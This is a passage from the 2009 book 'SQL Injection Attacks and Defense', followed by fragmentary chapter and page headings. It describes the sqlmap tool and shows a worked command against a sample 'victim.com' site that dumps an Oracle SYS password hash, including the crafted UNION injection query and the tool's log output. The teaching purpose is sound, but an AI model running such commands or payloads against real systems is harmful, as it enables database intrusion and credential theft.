SQL Injection Attacks and Defense - 2009

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Exploiting SQL Injection • Chapter 4 209 or it is freely available. Sqlmap is a command-line tool, although at the time of this writing a graphical interface is reported to be in development. Sqlmap implements three techniques to exploit an SQL injection vulnerability: ■■ ■■ ■■ UNION query SQL injection, both when the application returns all rows in a single response and when it returns only one row at a time. Stacked query support. Inferential SQL injection. For each HTTP response, by making a comparison based on HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique can fetch each output character with, at most, seven HTTP requests. This is sqlmap’s default SQL injection technique. Sqlmap is a very powerful and flexible tool, and currently supports the following databases: ■■ ■■ ■■ ■■ MySQL Oracle PostgreSQL Microsoft SQL Server As its input, sqlmap accepts a single target URL, a list of targets from the log files of Burp or WebScarab, or a “Google dork” which queries the Google search engine and parses its results page. Sqlmap can automatically test all the provided GET/POST parameters, the HTTP cookies, and the HTTP User-Agent header values; alternatively, you can override this behavior and specify the parameters that need to be tested. Sqlmap also supports multithreading to speed up blind SQL injection algorithms (multithreading); it estimates the time needed to complete an attack depending on the speed of performed requests, and allows you to save the current session and retrieve it later. It also integrates with other security-related open source projects, such as Metasploit and w3af. Sqlmap Example In the first example, we will retrieve the hash of the SYS user password on an Oracle XE 10.2.0.1 target, by exploiting a UNION query SQL injection vulnerability. We provide the necessary parameters through the command line, but sqlmap also allows the user to specify the same options through a configuration file. Once launched, sqlmap informs the user of the actions that are being performed and of their result. In this example, sqlmap first tests the id parameter, trying several attack vectors and checking the right number of parentheses that
210 Chapter 4 • Exploiting SQL Injection are needed to inject successful code. Once the injection vector has been successfully constructed, sqlmap fingerprints the database, detecting an Oracle installation. Sqlmap also attempts to fingerprint the remote operating system and Web application technology, before finally focusing on the hash of the SYS password and returning it to the user. $ python sqlmap.py -u "http://www.victim.com/get_int.php?id=1" --union-use --passwords -U SYS [hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [hh:mm:51] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:51] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:51] [INFO] GET parameter 'id' is dynamic [hh:mm:51] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [hh:mm:51] [INFO] testing unescaped numeric injection on GET parameter 'id' [hh:mm:51] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [hh:mm:51] [INFO] the injectable parameter requires 0 parenthesis [hh:mm:51] [INFO] testing MySQL [hh:mm:51] [INFO] testing Oracle [hh:mm:51] [INFO] the back-end DBMS is Oracle web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle [hh:mm:51] [INFO] fetching database users password hashes [hh:mm:51] [INFO] query: UNION ALL SELECT NULL, CHR(86)||CHR(113)||CHR(70)||CHR(101)||CHR(81)||CHR(77)||NVL(CAST(NAME AS VARCHAR(4000)), CHR(32))||CHR(122)||CHR(115)||CHR(109)||CHR(75)||CHR(104)||CHR(87)||NVL(CAST (PASSWORD AS VARCHAR(4000)), CHR(32))||CHR(103)||CHR(115)||CHR(83)||CHR(69)||CHR(107)||CHR(112), NULL FROM SYS.USER$ WHERE NAME = CHR(83)||CHR(89)||CHR(83)-- AND 7695=7695 [hh:mm:51] [INFO] performed 3 queries in 0 seconds database management system users password hashes: [*] SYS [1]: password hash: 2D5A0C491B634F1B Before moving on to another tool, here is another quick example, where sqlmap is used to dump the users table on the current database on a PostgreSQL 8.3.5 target, again exploiting
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Justin Clarke Lead Author and Techn
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Lead Author and Technical Editor Ju
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exploiting, and correcting software
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Dafydd Stuttard is the author of th
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Contents Chapter 1 What Is SQL Inje
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Contents xi LAPSE. ................
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Contents xiii Generic MySQL Binary
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Contents xv Chapter 8 Code-Level De
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Contents xvii Increase the Verbosit
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Contents xix Ingres Cheat Sheet....
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Chapter 1 What Is SQL Injection? So
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What Is SQL Injection? • Chapter
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execute the query against the datab
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Incorrectly Handled Query Assembly
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} } reader = cmd.ExecuteReader(); r
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Chapter 2 Testing for SQL Injection
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Testing for SQL Injection • Chapt
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SELECT * FROM products WHERE idprod
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Figure 2.15 Exploitation Terminatin
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Time Delays Testing for SQL Injecti
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Summary Testing for SQL Injection
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Chapter 3 Reviewing Code for SQL In
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Reviewing Code for SQL Injection
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mssql_bind() − adds a parameter t
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OdbcCommand() − used to construct
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Reviewing PL/SQL and T-SQL Code Rev
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■■ ■■ ■■ ■■ URL: ht
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■■ ■■ Platform: Windows Pri
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Summary Reviewing Code for SQL Inje
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Frequently Asked Questions Reviewin
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Chapter 4 Exploiting SQL Injection
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Exploiting SQL Injection • Chapte
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Page 180 and 181: Exploiting SQL Injection • Chapte
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Page 218 and 219: select user_name,web_password_raw f
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Page 236 and 237: Summary Exploiting SQL Injection
Page 238 and 239: Escalating Privileges Exploiting SQ
Page 240 and 241: Chapter 5 Blind SQL Injection Explo
Page 242 and 243: Blind SQL Injection Exploitation
Page 246 and 247: Common Blind SQL Injection Scenario
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Blind SQL Injection Exploitation
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Figure 5.13 Extracting Database Log
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Summary Blind SQL Injection Exploit
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Chapter 6 Exploiting the Operating
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Exploiting the Operating System •
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[operating systems] multi(0)disk(0)
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Figure 6.13 Enabling CLR Integratio
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Oracle Exploiting the Operating Sys
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) c / ) ) ), bfilename('GETPWDIR',
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As expected, this creates sp.txt fi
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2 443 [+] Calling msfpayload3 to c
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DBMS_ADVISOR is probably the shorte
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EXECUTE IMMEDIATE q'!drop directory
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Microsoft SQL Server Exploiting the
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Figure 6.22 Creating an UNSAFE Bina
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Executing Operating System Commands
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Endnotes Exploiting the Operating S
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Chapter 7 Advanced Topics Solutions
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Using Case Variation Advanced Topic
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4. The application URL decodes the
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Advanced Topics • Chapter 7 323 D
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Advanced Topics • Chapter 7 325 I
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Using Hybrid Attacks Advanced Topic
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Exploiting Authenticated Vulnerabil
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Chapter 8 Code-Level Defenses Solut
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Code-Level Defenses • Chapter 8 3
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END; Execute immediate 'SELECT coun
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Validating Input in Java Code-Level
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UTL_SMTP.HELO(v_connection,'mailhos
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Summary Code-Level Defenses • Cha
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Chapter 9 Platform-Level Defenses S
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Platform-Level Defenses • Chapter
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Figure 9.3 Whitelist Rule to Patch
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Application Filters Platform-Level
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Use Strong Cryptography to Protect
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Additional Deployment Consideration
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Chapter 10 References Solutions in
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References • Chapter 10 417 For t
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References • Chapter 10 419 It is
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GROUP BY Statement References • C
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References • Chapter 10 423 you a
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References • Chapter 10 425 Table
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Blind SQL Injection Functions: Micr
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References • Chapter 10 429 the S
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Microsoft SQL Server 2005 Hashes Re
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References • Chapter 10 435 If MA
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TYPE oracle_loader DEFAULT DIRECTOR
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References • Chapter 10 441 When
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Table 10.20 Continued. Troubleshoot
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Enumerating Database Configuration
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Local File Access References • Ch
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References • Chapter 10 451 Infor
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■■ ■■ ■■ ■■ Referen
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Troubleshooting SQL Injection Attac
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A abstract syntax tree (AST), 125 a
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Index 461 confirming and terminatin
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Index 463 errors application error,
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Index 465 intercepting filters appl
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Index 467 APEX, 196-197 Oracle inte
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Index 469 mysql_query( ) function,
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Index 471 blind SQL injection funct
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Index 473 transformation functions,
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SQL Injection Attacks and Defense - 2009

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